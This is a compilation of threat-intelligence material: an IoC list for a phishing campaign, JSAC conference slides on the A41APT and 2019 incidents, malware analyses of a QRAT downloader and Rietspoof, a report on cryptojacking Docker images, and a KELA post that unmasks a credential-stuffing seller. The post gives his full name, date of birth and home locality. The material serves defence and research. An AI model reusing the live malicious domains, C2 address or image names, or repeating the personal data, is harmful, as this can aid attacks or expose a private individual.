- Java_Updater.zip -> 59b15f6ace090d05ac5f7692ef834433d8504352a7f45e80e7feb05298d9c2dd
- P-O of Jun2017.zip -> e397ba1674a6dc470281c0c83acd70fd4d772bf8dcf23bf2c692db6575f6ab08
- Agent Tesla: 8c8f755b427b32e3eb528f5b59805b1532af3f627d690603ac12bf924289f36f
**Campaign #2**
- Java sample -> d27a29bdb0492b25bf71e536c8a1fae8373a4b57f01ad7481006f6849b246a97
**Campaign #3**
- New Order For Quotation.ppsx -> 65bdd250aa4b4809edc32faeba2781864a3fee7e53e1f768b35a2bdedbb1243b
**Campaign #4**
- SETTLEMENT OF OUTSTANDING.xlsx -> 111e1fff673466cedaed8011218a8d65f84bee48d5ce6d7e8f62cb37df75e671
**Campaign #5**
- Request and specification of our new order.xls -> 1dd4ac4925b58a2833b5c8969e7c5b5ff5ec590b376d520e6c0a114b941e2075
- Agent Tesla -> fa6557302758bbea203967e70477336ac7a054b1df5a71d2fb6d822884e4e34f
**Domains**
- sweeddehacklord.us
- sweed-office.comie.ru
- sweed-viki.ru
- sweedoffice.duckdns.org
- sweedoffice-olamide.duckdns.org
- sweedoffice-chuks.duckdns.org
- www.sweedoffice-kc.duckdns.org
- sweedoffice-kc.duckdns.org
- sweedoffice-goodman.duckdns.org
- sweedoffice-bosskobi.duckdns.org
- www.sweedoffice-olamide.duckdns.org
- www.sweedoffice-chuks.duckdns.org
- aelna.com
- candqre.com
- spedaqinterfreight.com
- worldjaquar.com
- zurieh.com
- aiaininsurance.com
- aidanube.com
- anernostat.com
- blssleel.com
- bwayachtng.com
- cablsol.com
- catalanoshpping.com
- cawus-coskunsu.com
- crosspoiimeri.com
- dougiasbarwick.com
- erieil.com
- etqworld.com
- evegreen-shipping.com
- gufageneys.com
- hybru.com
- intermodaishipping.net
- jltqroup.com
- jyexports.com
- kayneslnterconnection.com
- kn-habour.com
- leocouriercompany.com
- lnnovalues.com
- mglt-mea.com
- mti-transt.com
- profbuiiders.com
- quycarp.com
- regionaitradeinspections.com
- repotc.com
- rsaqencies.com
- samhwansleel.com
- serec.us
- snapqata.com
- sukrltiv.com
- supe-lab.com
- usarmy-mill.com
- virdtech.com
- willistoweswatson.com
- xlnya-cn.com
- zarpac.us
- Oralbdentaltreatment.tk
- wlttraco.com |
# Japan Security Analyst Conference 2022
## What We Can Do against the Chaotic A41APT Campaign
### Who We Are
- Hajime Yanagishita, Macnica
- Kiyotaka Tamada, Secureworks
- You Nakatsuru, Kaspersky
- Suguru Ishimaru
### Agenda
- Recent A41APT campaign we've seen
- What A41APT Campaign is
- Continuous A41APT Campaign
- Continued and Updated TTPs
- New TTPs Observed in 2021
- Attribution of The Threat Actor
- What We Can Do against the Chaotic A41APT Campaign
### What A41APT Campaign is
A sophisticated attack campaign revealed at JSAC 2021
- **Period of activity**: March 2019 to January 2021
- **Target**: Japan (Japanese companies and their overseas branches)
- **Origin of the campaign name**: Named after the actor's host name DESKTOP-A41UVJV used for remote connection
Distinguishes attack campaign that threat actor intrudes via internet-facing system, deploying malware such as SigLoader/Sodamaster.
### TTPs Reported at JSAC2021
- **Initial Intrusion**: Penetrate via internet-facing system using vulnerabilities or stolen credentials.
- **Internal Reconnaissance**: Perform network scan, connect to RDP server.
- **Persistence**: Install malware using Task Scheduler.
- **Lateral Movement**: Connect to RDP server at HQ office.
- **Actions on Objectives**: Search for secret information, exfiltrate after encryption and compression.
### Continuous A41APT Campaign in 2021
- Observed attacks against multiple organizations in Japan and branch offices.
- Investigated each different incident to disclose updated TTPs and discovered new TTPs.
### Continued and Updated TTPs
- **Intrusion via VPN Devices**: Using known vulnerabilities such as Pulse Connect Secure, FortiGate, and Cisco AnyConnect.
- **Tool Sets Used After Intrusion**: Mimikatz, secretdump.py, PsExec, csvde, WinRAR.
### Malware Updates
- SigLoader and SodaMaster are still used in 2021.
- Changes include tampering compile time and updates on major functions.
### SigLoader Execution Flow
- Decode & decrypt DLL, SigLoader, Shellcode, Payload.
### Decryption Process of SigLoader
- Algorithm identifiers changed from string to number.
- The order of decryption algorithm is hardcoded.
### SodaMaster Evolution
- Classified 20+ samples into 3 versions, confirming 6 activities from compile time and common features.
### Comparison for Each Version of SodaMaster
| Version | Compile Date | Original DLL Name | Network API | Command | Anti-VM |
|---------|--------------|--------------------|-------------|---------|---------|
| 1 | 2019/01/07 | httpsWin32.dll | wininet | d, s | ✓ |
| 2 | 2016/07/28 | httpsX64_d.dll | ws2_32 | d, f, l, s | ✓ |
| 3 | 2012/10/13 | tcpcX64.dll | ws2_32 | c - x | - |
### Changes of Loader Shellcode for SodaMaster
- The basic implementation was not changed.
- The magic bytes have been changed from version 3.
### Command List of SodaMaster Version 3
| Command | Description |
|---------|-------------|
| c | Steals credentials of Outlook |
| d | Executes DLL (Specified export function) |
| f | Enables/Disables adding size info into sending data |
| g | Executes shellcode (No function table) |
| h | Repeats sending source spoofed packet to specified destination (DoS?) |
| i | Repeats sending 0x20000 bytes data padded with 0xCC (DoS?) |
| l | Configures interval of C2 communications |
| m | Collects screenshot |
| q | Enables key logging |
| r | Disables key logging |
| s | Executes shellcode (With function table) |
| w | Shows string with MessageBox |
| x | Exits process |
### New TTPs Observed in 2021
- **Jackpot Webshell**: Webshell malware used as a payload of SigLoader in 2021.
- **Microsoft Exchange Server**: Exploiting ProxyShell vulnerability.
### Attribution of The Threat Actor
- Linking to BRONZE RIVERSIDE (APT10) and LockFile.
### What We Can Do against the Chaotic A41APT Campaign
- Challenge to Know Your Own Organization.
- Fighting against Opportunistic Compromise, Targeted Deployment.
### Conclusion
- The Chaotic A41APT campaign is ongoing and expanding its TTPs.
- Countermeasures should protect internet-facing systems of the entire company, including branch offices and subsidiaries.
### Reference Regarding A41APT
1. A41APT case ~ Analysis of the Stealth APT Campaign Threatening.
2. APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign.
3. APT10: Tracking down the stealth activity of the A41APT campaign.
4. 標的型攻撃の実態と対策アプローチ 第5版 日本を狙うサイバーエスピオナージの動向2020年度 - Macnica Networks, TeamT5.
5. 「Earth Tengshe」によるマルウェア「SigLoader」を用いた攻撃キャンペーンで観測された新たなペイロード.
### IoCs
- **Value**: cf5ec3b803563d8ef68138f5303ebc362b72da36da29b9cba3062ae996db9234, **Type**: SHA256, **Description**: HUILoader.
- **Value**: 168.100.8.20, **Type**: IP, **Description**: SodaMaster C2.
### FYI: Hunting Suspicious ASEP
- Audit ASEP using tools such as Autoruns is effective.
- Investigating scheduled tasks with specific conditions could be useful.
### IOCs - Examples of Scheduled Task
| Program | Description | Publisher |
|---------|-------------|-----------|
| C:\Windows\RoutineMaintenance.exe | | D3L |
| C:\Windows\ceiprole.exe | Malwarebytes Anti-Exploit 64bit tasks | Malwarebytes Corporation |
| C:\Windows\System32\winrm\0409\usoclient.exe | OpenSSL application | OpenVPN Inc. |
Thank you. |
# Uncovering the Anonymity Cloak
Due to its anonymity, the Darknet is flooded with threat actors working together to share information, services, and knowledge required to carry out successful cyber-attacks, particularly within the cybercrime financial ecosystem. We’ve uncovered the real identity of a threat actor dubbed SaNX – a handle that has become infamous among many security departments of leading corporations worldwide. Here, we’ll also reveal his activities, other handles in the Darknet, and affiliations to other hacking groups.
## A Creative Bypass for Account Validation
SaNX’s line of services allows fraud actors to check whether a given set of stolen credentials are valid for popular banking, e-commerce, and retail mobile apps.
> Post by SaNX where he advertises his service: “API allows verification of the validity of the login details for a website. As to the possible exploits of the API, it’s not my business.”
While the service itself isn’t new nor novel, the direction of SaNX’s approach is interesting; he abuses possible flaws in the APIs used by mobile applications associated with the services, thus bypassing traditional security mechanisms used by companies. The capabilities supplied by these services are very useful to fraud actors and others who deal in account takeovers (ATO) for a variety of purposes.
A list of the world’s top financial organizations and mega-retailers, all targeted by SaNX, includes major online retailers and banks across the United States, such as Walmart, Capital One, Bank of America, TD Bank, and more.
## AI’s Aid in Credential Stuffing
To best understand why SaNX’s products are so lucrative, let’s quickly review a generic scenario for how threat actors perform account takeovers by leveraging third-party data breaches. Fraud actors commonly attack financial institutions, retailers, and other consumer-facing businesses by taking over accounts via credential stuffing. To perform such a strike, the attacker needs only three elements:
1. **Targets** – The cybercrime financial underground is chock-full of tutorials and walkthroughs on fraudulent cashing out of “cracked” e-commerce, retail, and even gaming accounts.
2. **Credentials** – A known commodity in the criminal underground, as multiple vendors specialize in breaching internet-facing databases and selling their content to other criminals. This usually comprises usernames, emails, and passwords that can later be re-used against popular targets.
3. **Automation** – Key in the credential stuffing process. Since attackers usually employ a spray-and-pray approach, more credentials equal a higher success rate. Tools that automate the checks of credentials against a target website are widespread in low-level carding and cracking communities. They come in a variety of flavors – from SaaS services operated by cybercriminals to simple “checkers” desktop clients – with a few tools, such as Sentry MBA, achieving well-earned notoriety and having dedicated communities in the criminal underground.
As credential stuffing tools grew ubiquitous in the criminal underground, most organizations implemented anti-fraud mechanisms to thwart “checking” attempts from low-level tools. This is where SaNX enters the equation. Most checkers target web applications via imitating browsers and are susceptible to being intercepted by fraud prevention. SaNX’s approach tackles the mobile API – thus allegedly bypassing the standard.
SaNX’s services pose fraud threats to organizations’ security as they expose them to brute force or credential stuffing attacks by leveraging what appears to be a security blind spot. Even though offering relatively sophisticated services, it’s important to note that SaNX is simply another link in the chain of services offered in the cybercrime financial ecosystem; acquiring the “private APIs” isn’t a magic bullet that attackers can use against an organization. Unlike simple checkers, SaNX puts most of his effort into the API itself and not necessarily on mass scale and automation, requiring his clients to integrate the tools into a wider credential stuffing framework.
## The Proof is in the Pudding
The key to a business’s growth and success is to execute it in a way that will attract and satisfy customers. As Darknet businesses evolve towards more “professional” business models and practices, attracting new customers is dependent on the level of innovation and novelty of the idea. Long-term success, however, is particularly dependent on customer satisfaction. To determine SaNX’s credibility as a seller in the Darknet, we decided to assess his buyers’ reviews. Numerous posts indicated that SaNX maintains a high level of credibility and is considered to be a particularly professional threat actor.
> User in a Russian-speaking underground forum says about SaNX’s services: “We bought API; everything went well” (March 5, 2018)
> From Russian: “Very professional and accurate seller. I’ve gotten a good impression of working with him” (May 22, 2019)
These relatively recent reviews confirm SaNX’s ongoing efforts and successes, which only motivated our researchers to dig further and identify this harmful threat actor by name and any other PII that could help track him down.
## Lifting the (Limited) Anonymity Cloak of the Darknet
Maintaining anonymity has become a difficult challenge in the Darknet with the growth of digitalization. Hackers will almost inevitably leave traces of their activities, enabling threat researchers to perform research to identify them. We began by finding a post signed by SaNX in a FidoNet thread where we were already able to assert his connection to the hacking group, Russian Ebola Virus Crew (“EVC”), along with his full name and email address.
This was a post found as part of in-depth research performed when looking for posts by SaNX. Here, SaNX was seen signing his name (Alexander Korostin) and EVC connection on a post from 2003 within a FidoNet thread. This research was done using KELA’s proprietary tool, DARKBEAST, which enables users to search through years of historical Darknet data stored in KELA’s data lake.
We then found further affirmations of the connection between EVC and SaNX when various statements by EVC were found declaring SaNX as one of its members. By using his name and affiliation to EVC as a basis to search other handles used by SaNX, we were led to more of his PII. We later noticed that SaNX began using a new name, which was simply a combination of his full name and affiliation to EVC, “Alkorevc”: Al(exandr)kor(ostin)evc.
Enough proof was pointing to the fact that SaNX was indeed Alexander Korostin and that he was affiliated to EVC, but there was more information out there related to SaNX. We started browsing through various websites and we were eventually directed towards a local community website, Izhevsk.ru, where “SaNXeVC” was seen responding to one of the posts on a transportation-related thread in Sokolovka, a locality in the Sarapul District of the Udmurtiya Republic in Russia. Taking note of this location, we continued our search to see if it could be confirmed.
Looking at SaNX’s social media pages, we found a YouTube channel registered as “SaNX498” by the name “Aleksandr Alekseyevich” with video uploads from the Udmurtiya Republic. Just like your everyday internet user would link their social media accounts for convenience, SaNX linked his YouTube page to an Instagram profile bearing the name “sanxevc”, which he recently changed to “sanxsanxsanx”. His Instagram showed photos of Aleksandr from Sigayevo, Sarapul District, Udmurtiya Republic, reconnecting us to the original location that we detected earlier.
One final search helped us confirm our findings. By searching the name “Aleksandr Korostin” in Russian (Александр Коростин), we were exposed to his profile in a local job-hunting board. We were given access to view his resume uncovering more information on his educational and occupational background, his date of birth (December 10, 1982), and a headshot.
All of these dots allowed us to finalize and close the previously ambiguous case. So here we had it, SaNX or rather, 36-year-old Aleksandr Alekseyevich Korostin (Александр Алексеевич Коростин) from Sigayevo, Sarapul District, Udmurtiya Republic, Russia, is no longer anonymous.
## Takeaways and Lessons Learned
APIs are an imperative part of digitized organizations today, allowing mobile apps or websites to communicate more effectively, and ultimately make clients’ lives easier and more convenient. More flexibility for users, however, can exponentially increase the attack surface for bad actors. Organizations must continue to monitor for newer and more sophisticated threats that will continue to emerge with technological advancements. While we can’t take down every threat actor operating in the Darknet, we can certainly deter attacks and mitigate threats that are targeting large organizations.
Ask our team what your organization can do today to detect sophisticated threats against your organization before a potential cyberattack happens. |
# Japan Security Analyst Conference 2020
## Opening Talk
### Looking back on the incidents in 2019
### Two Major Attack Types
- **Targeted**: Attack aimed to steal confidential information
- **Widespread**: Attack aimed to steal money
### Targeted Attack Campaigns
(confirmed by JPCERT/CC)
### Trends in Recent Targeted Attack
- Leverage Cloud services
- Microsoft Azure
- Google Cloud etc.
- Leverage Generic tools
- Open source tools
- PoshC2
- PowerShell Empire
- QuasarRAT etc.
- OS commands
- Complex Malware
- Fileless
- Modular architecture
- Multistages
### Scan Activity
Observation of scan activities for exploiting the asset management software
(Source: TSUBAME (Internet monitoring system): Jan, 2017~Dec, 2019)
### Malware (NodeRAT)
### BlackTech
### TSCookie Loader & TSCookie Attack Exploiting Specific Product
(CVE-2019-9489)
### Attack Summary
- Initial attack
- Lateral movement (Leverage legitimate function)
- Exploit CVE-2019-9489
- PoshC2
- AD Server
- Virus Buster
- Target organization
- Corp. Server
### QuasarRAT (APT10)
### Execution Flow
- Service start
- DLL Loader
- Encoded QuasarRAT
### Widespread Attack
Attack Exploiting Vulnerabilities in SSL VPN Products
### Alert & Advisory
Vulnerable Pulse Secure VPN hosts in Japan (CVE-2019-11510)
### Emotet
### Malicious Mail Example
### Analysis Tool
- Ghidra
- IDA: Undo (Ctrl+Z)
- MalConfScan
### How to Enjoy JSAC 2020
Sharing Technical Info about Incidents
### Session Titles
- A: Evil Hidden in Shellcode: The Evolution of Malware DBGPRINT
- A/D: Threat Information on the APT Group Conducting "Operation Bitter Biscuit"
- B/A: The Implementation and Usage of Artifact Collection Tool and Simple Malware Analysis Sandbox for macOS
- B: Developing an Efficient Mac Forensic Tool
- C: Is It Wrong to Try to Find APT Techniques in Ransomware Attack?
- D: 100 more behind cockroaches? or how to hunt IoCs with OSINT
- D: Battle Against Ursnif Malspam Campaign targeting Japan
- D: An Overhead View of the Royal Road
### Networking
Thank you! |
# A Trump Sex Video? No, It's a RAT!
While reviewing our spam traps, a particular campaign piqued our interest primarily because the attachment to the email does not coincide with the theme of the email body. When we investigated further, we discovered that its attachment is a variant of the QRAT downloader we blogged about last August.
The email, with the Subject “GOOD LOAN OFFER!!”, at first glance, looks like a usual investment scam. No obfuscation in the email headers or body is found. Interestingly, attached to the email is an archive containing a Java Archive (JAR) file called “TRUMP_SEX_SCANDAL_VIDEO.jar”. We suspect that the bad guys are attempting to ride the frenzy brought about by the recently concluded Presidential elections since the filename they used on the attachment is totally unrelated to the email’s theme.
## The Qrat Downloader Variant
The JAR file “TRUMP_SEX_SCANDAL_VIDEO.jar”, dubbed as “QNODE DOWNLOADER”, has the same purpose as the Node.Js QRAT downloaders we previously analyzed – to install into the infiltrated system the Qnode RAT. Other similarities with the older variants are as follows:
- The JAR file is obfuscated using Allatori Obfuscator.
- The installer of Node.Js is retrieved from the official website nodejs.org.
- This downloader still supports Windows platforms only.
We decided to examine the notable new features and changes of this variant, and the rest of the blog will tackle these variations. We recommend you read our earlier blog in conjunction with this one.
First, this JAR sample is significantly larger than the older samples we examined. Aside from the classes with the same file name and length but with different cases, this JAR file also has data streams with just numbers in the filename. The malicious code of this downloader is split up among these numbered files, along with some junk data that were added to them.
Second, a GUI and a supposed Microsoft ISC License are added into the JAR’s code. Upon the execution of the file “TRUMP_SEX_SCANDAL_VIDEO.jar”, a copy of it is created and then executed from the %temp% folder. Then, a GUI informing the victim that the malicious JAR file is a remote access software used for penetration testing is launched. The malicious behaviors of this sample start to manifest once the button “Ok, I know what I am doing.” is clicked. This pop-up is a little odd and is perhaps an attempt to make the application look legitimate, or deflect responsibility from the original software authors.
Third, the string “qnodejs“ which previously identified the files associated with this threat, is not in this variant. The folder name and the file names within this JAR file no longer contain this string. The Node.Js installation folder is still at %userprofile%, however, the folder is not prepended with “qnodejs-“ anymore. Also, in contrast to our first blog, this JAR saves its downloaded files at a QHub folder %temp%\_qhub_node_{random string} instead of at a folder named “qnodejs“ under the path of the installed Node.Js.
Fourth, when downloading next stage malware, only the argument “--hub-domain” is required when communicating to the command-and-control servers (C&Cs). After setting up the Node.Js platform, a Node.Js process is created to download the next malware in the infection chain. The argument “--hub-domain” along with the C&Cs is the only data supplied to the process. The information about the QHub service subscription user we observed in the earlier variant is no longer contained in the JAR file.
Lastly, the JAR file downloads a file named “boot.js” and saves it at %temp%\_qhub_node_{random}. Unfortunately, we were not able to replicate this part of the infection chain.
To get an idea of what the downloaded file “boot.js” might be, we looked in VirusTotal for a similar file with the same filename, tagged as text, and filesize at least 10MB, and we were able to find this sample. It appears that with this variant, the malware chain has been shortened. The second-stage downloader has been removed and that the jar file immediately downloads the payload “boot.js”, which is the Node.Js QRAT.
We checked the file “boot.js” for the characteristics and activities it will perform which are similar to the payload ‘qnodejs-win32-ia32.js SHA1: 31F541074C73D02218584DF6C8292B80E6C1FF7D’ from our first blog and below are our findings:
- Code is encrypted with base64
- Modules are obfuscated
- Obtains network information from the service hxxps://wtfismyip[.]com
- Password-recovery functionality supports the same applications Chrome, Firefox, Thunderbird, and Outlook
With regards to the persistence, which was the task of the second stage downloader “wizard.js” in previous samples, the payload “boot.js” now accomplishes this. A VBS script %userprofile%\qhub\node\2.0.10\boot.vbs which launches the payload is created and then set to run at the typical registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
The commands that this variant of QRAT supports are simpler than previous versions.
## Summary
This threat has been significantly enhanced over the past few months since we first examined it. To achieve the same end goal, which is to infect the system with a QNode RAT, the JAR file downloader characteristics and behavior were improved.
- To increase the chances of this threat being executed by the email recipient, the attachment name was based on a prominent figure, and a GUI indicating that the malicious JAR is a tool used in penetration testing.
- To evade detection, the malicious code of the downloader was split-up into different buffers inside the JAR. Also, the string “qnodejs” which can distinguish the files related to this threat was not used anymore.
- To challenge the existing remediations of this threat, the names of the other files it created and downloaded were changed and they are put into different locations, not inside the Node.Js installation folder.
- To deliver the final payload into the system, the infection chain was modified – the JAR directly downloads the payload.
While the attachment payload has some improvements over previous versions, the email campaign itself was rather amateurish, and we believe that the chance this threat will be delivered successfully is higher if only the email was more sophisticated. The spamming out of malicious JAR files, which often lead to RATs such as this, is quite common. Email administrators should be looking to take a hard line against inbound JARs and block them in their email security gateways.
## IOCs
**Files:**
- TRUMP_SEX_SCANDAL_VIDEO.jar (61762 bytes) SHA1: B12542229561341F028D09D3B864F9732B431891
- boot.js (13293765 bytes) SHA1: 7bf154c9ddf3a71abf15906cdb60773e8ae07b62
**URLs:**
- gatherlozx[.]hopto[.]org |
# 20 Million Miners: Finding Malicious Cryptojacking
**By Aviv Sasson**
**March 26, 2021**
**Category:** Cloud, Malware, Unit 42
**Tags:** cryptojacking, Cryptominers, Docker, Docker Hub, Monero
## Executive Summary
As a cybercriminal, there are many ways to make a profit. One of the easiest ways is cryptojacking – the illegal use of someone else’s computing resources to mine cryptocurrencies. Container images are known as a simple way to distribute software, yet malicious cryptojacking images are also a simple way for attackers to distribute their cryptominers.
I decided to take an extensive look into Docker Hub and discovered 30 malicious images with a total number of 20 million pulls, together accounting for cryptojacking operations worth US$200,000. In this post, I will elaborate on my findings and why it is reasonable to assume that there are many other undiscovered malicious images on Docker Hub and other public registries.
Palo Alto Networks Prisma Cloud customers are protected from these threats through the Cryptominers Runtime Detection feature and the Trusted Images feature. In addition, Palo Alto Networks Next-Generation Firewall customers with the Threat Prevention security subscription are protected against the delivery of these images.
## Finding Malicious Cryptojacking Images
In the last several years, Unit 42 researchers have been witnessing cloud-based cryptojacking attacks in which miners are deployed using an image in Docker Hub. The cloud is popular for cryptojacking attacks due to two main reasons:
- The cloud consists of many instances for each target (e.g., lots of CPUs, lots of containers, lots of virtual machines), which can translate to big mining profits.
- The cloud is hard to monitor. Miners can run undetected for a long time, and without any detection mechanisms in place, they may run until the user finds an inflated cloud usage bill and realizes that something is wrong.
Modern cloud technology is largely based on containers, and in some environments, Docker Hub is the default container registry. Attackers can take advantage of it to deploy miners on compromised clouds.
Because of all of the facts mentioned above, I wanted to see if I could find malicious cryptojacking images in Docker Hub. In my research, I found 30 images from 10 different Docker Hub accounts that account for over 20 million pulls.
Individuals improve their mining efficiency by using mining pools, and so do adversaries. It is possible to check how many cryptocurrencies were mined to a mining pool account by inspecting the mining pool. Half of the images I found used a mining pool that shares this information, and by extrapolating from that half, I estimated that, in total, in all of the attacks, US$200,000 worth of cryptocurrencies were mined.
## Coin Distribution
My first discovery, perhaps not surprising to our returning readers, is that the most popular cryptocurrency for attackers to mine is Monero. Attackers favor Monero for three reasons:
- Monero provides maximum anonymity. One of its features is that, unlike for other coins, Monero transactions are hidden. This privacy is perfect for cybercriminals because it means their activity is hidden. Hence, they won’t get banned from exchanges, and it is easier for them to evade attempts to track their funds.
- The Monero mining algorithm favors CPU mining, unlike many other cryptos that require ASICs or GPUs for mining. This is convenient because all computers have CPUs. Thus, the miner can run effectively on any machine. This is even more suitable for containers, of which the vast majority run without a GPU.
- Monero is a popular coin, and its exchange volume is around US$100 million a day, making it easy for the attackers to sell their coins.
## Cryptominer Distribution
In most attacks that mine Monero, the attackers used XMRig, a popular Monero miner preferred by attackers because it’s easy to use, efficient, and, most importantly, open source. Hence, attackers can modify its code. For example, most Monero cryptominers forcibly donate some percentage of their mining time to the miner’s developers. One common modification attackers make is to change the donation percentage to 0.
## Image Tags
Container registries allow users to upgrade their images and in that process upload a new tag to the registry. Tags are a way to reference different versions of the same image. When examining the tags of the images, I found that some images have different tags for different CPU architectures or operating systems. It seems like some attackers are versatile and add these tags in order to fit a broad range of potential victims that includes a number of operating systems and CPU architectures.
In some images, there are even tags with different types of cryptominers. This way, the attacker can choose the best cryptominer for the victim’s hardware. The only thing that is common for all the tags in a certain image is the wallet address or the mining pool credentials. With the help of these identifiers, I could classify each campaign.
After digging deeper, in some cases, I could see that there are numerous Docker Hub accounts that belong to the same campaign. For example, in previous research, Unit 42 found the malicious account azurenql. Now, we discovered that the campaign is broader and includes the accounts 021982, dockerxmrig, ggcloud1, and ggcloud2. In my research, I was able to find additional images mining Monero for the same campaign described in recent Unit 42 findings on azurenql, adding over 10 million more pulls under the attacker’s name.
## Conclusion
The cloud presents big opportunities for cryptojacking attacks. In my research, I used a cryptomining scanner that only detects simple cryptomining payloads. I also made sure any identified image was malicious by correlating the wallet address to previous attacks. Even with these simple tools, I was able to discover tens of images with millions of pulls. I suspect that this phenomenon may be bigger than what I found, with many instances in which the payload is not easily detectable.
Palo Alto Networks Prisma Cloud customers are protected from these threats through the Cryptominers Runtime Detection feature and the Trusted Images feature. In addition, Palo Alto Networks Next-Generation Firewall customers with the Threat Prevention security subscription are protected against the delivery of these images.
## Indicators of Compromise
**Docker Images**
- 021982/155_138
- 021982/66_42_53_57
- 021982/66_42_93_164
- 021982/xmrig
- 021982/xmrig1
- 021982/xmrig2
- 021982/xmrig3
- 021982/xmrig4
- 021982/xmrig5
- 021982/xmrig6
- 021982/xmrig7
- avfinder/gmdr
- avfinder/mdadmd
- docheck/ax
- docheck/health
- dockerxmrig/proxy1
- dockerxmrig/proxy2
- ggcloud1/ggcloud
- ggcloud2/ggcloud
- kblockdkblockd/kblockd
- osekugatty/picture124
- osekugatty/picture128
- tempsbro/tempsbro
- tempsbro/tempsbro1
- toradmanfrom/toradmanfrom
- toradmanfrom/toradmanfrom1
- xmrigdocker/docker2
- xmrigdocker/docker3
- xmrigdocker/xmrig
- xmrigdocker/xmrig
- zenidine/nizadam |
# VB2019 Paper: Spoofing in the Reeds with Rietspoof
**Jan Sirmer, Luigino Camastra & Adolf Středa**
Avast Software, Czech Republic
## Abstract
Since August 2018 we have been monitoring a new malware family, which we have named Rietspoof. Rietspoof is a piece of malware that is multi-staged, using different file types throughout its infection chain. It contains several types of stages – both extractors and downloaders; the fourth stage also contains support for remote-control commands. When we began tracking Rietspoof it was being updated approximately once a month. However, in January 2019 we noticed that the frequency of updates had increased to daily.
In this paper we will share a detailed analysis of each stage of the malware, starting from the initial Microsoft Word document serving as stage one. This stage is followed by a rather interestingly built and obfuscated Visual Basic script (VBS) leading to executable files that serve as both bots and downloaders. We will describe all relevant parts of the Visual Basic script, ranging from its unusual anti-behaviour detection tricks to the function which led us to the next stage, a CAB file dropped from the VBS.
The fourth stage is an executable file expanded from the CAB file. This executable file is digitally signed by a valid certificate, usually using Comodo CA. At the end of February, we found samples exhibiting different behaviour: a new VBS file with bot capabilities was dropped from the CAB file. The fourth stage serves as a bot that also supports a downloader functionality. During our investigation, we noticed that the malware author was constantly modifying all the stages. We distilled these changes into a detailed timeline, from which we can observe a lot of changes in the whole concept of this malware family, ranging from a reworked C&C communication protocol to a completely rewritten second stage.
In the fifth stage, the malware author used an interesting dropper technique to deploy fileless malware downloaded from the C&C server. The fifth stage utilized the NTLM protocol to provide authentication and encryption of its communication with the C&C server. It is not common to see a C&C communication protocol being modified to such an extent, given the level of effort required to change it. Similarly, we rarely see feature regression in malware – we observed that the obfuscation of strings was removed in later versions of the fourth stage. Again, we will look at these changes in detail along with the underlying protocols.
Although we are monitoring Rietspoof very carefully, our hypothesis is that its authors are still developing this malware, and because of this we only have testing samples.
## Introduction
Rietspoof utilizes several stages, combining various file formats throughout its infection chain to deliver a potentially more versatile piece of malware. Our data suggests that the first stage was delivered through email and instant messaging clients such as Outlook and Skype. The first stage consists of a Microsoft Word document which works as a dropper and runner for a highly obfuscated Visual Basic script containing an encrypted and hard-coded encrypted CAB file – the third stage. The Visual Basic script is also digitally signed. The CAB file is expanded into an executable that is digitally signed with a valid signature, generally using Comodo CA or Sectigo RSA. The executable file downloads and installs a downloader in stage 4.
What’s interesting to note is that the fourth stage uses a simple TCP protocol to communicate with its C&C, whose IP address is hard coded in the binary. The protocol is encrypted by AES in CBC mode. In one version we observed the key being derived from the initial handshake. Later on, a second version appeared; in this case the key is derived from a hard-coded string. In version two, the protocol not only supports its own protocol running over TCP, but it also tries to leverage HTTP/HTTPS requests. It is rather uncommon to see a C&C communication protocol being modified to such an extent, given the level of effort required to change it. While it is common to change obfuscation methods, the C&C communication protocol usually remains relatively unmodified in most malware.
This downloader uses a home-brew protocol to retrieve another stage (stage 5) from a hard-coded address. While the stage 4 protocol includes bot capabilities, stage 5 acts as a designated downloader only.
## Stage 1: Microsoft Word Document
The first stage of the Rietspoof attack is a malformed Microsoft Word document which is spread through email or instant messaging clients. The first stage works as a dropper and runner for a malicious Visual Basic script. The document uses standard social engineering techniques to persuade victims to run it with macros enabled.
Once macros are enabled, the information regarding the protected document is deleted and the title ‘Emergency exit map’ is shown. The attackers use a simple method in which they delete HeaderFooters and show the hidden text. Afterwards, the script deobfuscates the VBS and saves it onto the machine. The script is then executed by invoking wscript.exe with a parameter leading to the dropped VBS. The raw Visual Basic script is stored as a Base64-encoded string represented by an array of hex codes.
## Stage 2: Visual Basic Script
### Timeline of Development
**First version: 7 August 2018**
The first version of the VBS that we discovered was probably just a test version of Rietspoof as it contained almost no obfuscation. Also, the names of variables and functions correlate with their final functions. Since version one, each version has been more or less obfuscated and has used different binaryOffset (offset of payload), xorValue (XOR key) and AppName (dropped binary name) values. Nevertheless, all of them – at least until our blog post was released – showed many similarities.
### Visual Basic Functionality
The first part of the Visual Basic script is a function for reading and deobfuscating embedded binaries. From the snippet shown it is immediately obvious that the script starts reading code at a specific offset, deobfuscating the CAB file and readying it for the next stage. The code is converted, character by character, to its ANSI value and added to the counter variable. At every step, the counter is XOR’ed with a hard-coded value and appended to already decoded bytes. Interestingly, at every step, the string is also appended to another variable.
After this step, the variable is used as a parameter for a new function. The second parameter is TempPath, with the following filename. At this stage the CAB file is saved to the machine’s TempPath under a specific name. If we observed one of the first versions, the name would be different. The following stage needs to be extracted from it, which is accomplished by using expand.exe.
### Executing PE and Covering Tracks
The script checks if the user is logged in as admin by reading the registry key. In case of success, it sets a flag to True. Note that this registry key belongs to NT Authority and can be accessed only by an admin. When this flag is set to True, the VBS changes the date to a future date. We can assume this is done to confuse some sandboxes or other behaviour-based detection systems. The interim date serves only this purpose as it is not used in any further stage and is reverted once the next stage is dispatched.
Afterwards, as the CAB file has already been expanded, it is deleted from %TEMP%. The expanded executable file is run, and the original script is deleted to cover its tracks. Finally, the date is changed back to the current date.
An interesting move by the malware authors is to use cmd /c to run commands from the command line. This is most likely an attempt to break behavioural detections by recursively spawning new command line instances. Even if the previous step is skipped and the current user is not the admin, the next step is to run the expanded PE file. First, the script deletes a scheduled task to ensure that a new task in the scheduler, pointing to the expanded PE file, will execute after exactly one minute. Once the task is scheduled, the malware will try to cover its tracks again by deleting the CAB file from the %TEMP% directory.
### Adding Persistence
In the new version of the VBS a new function for securing persistence was added. The script creates a new LNK file in Startup with a specific name. This LNK file runs the expanded PE file after startup to ensure the executable will be run after reboot. All the Visual Basic scripts were digitally signed with a valid signature, which allows them to be started even in protected environments such as a company network.
### Reaction to Our Blog Post
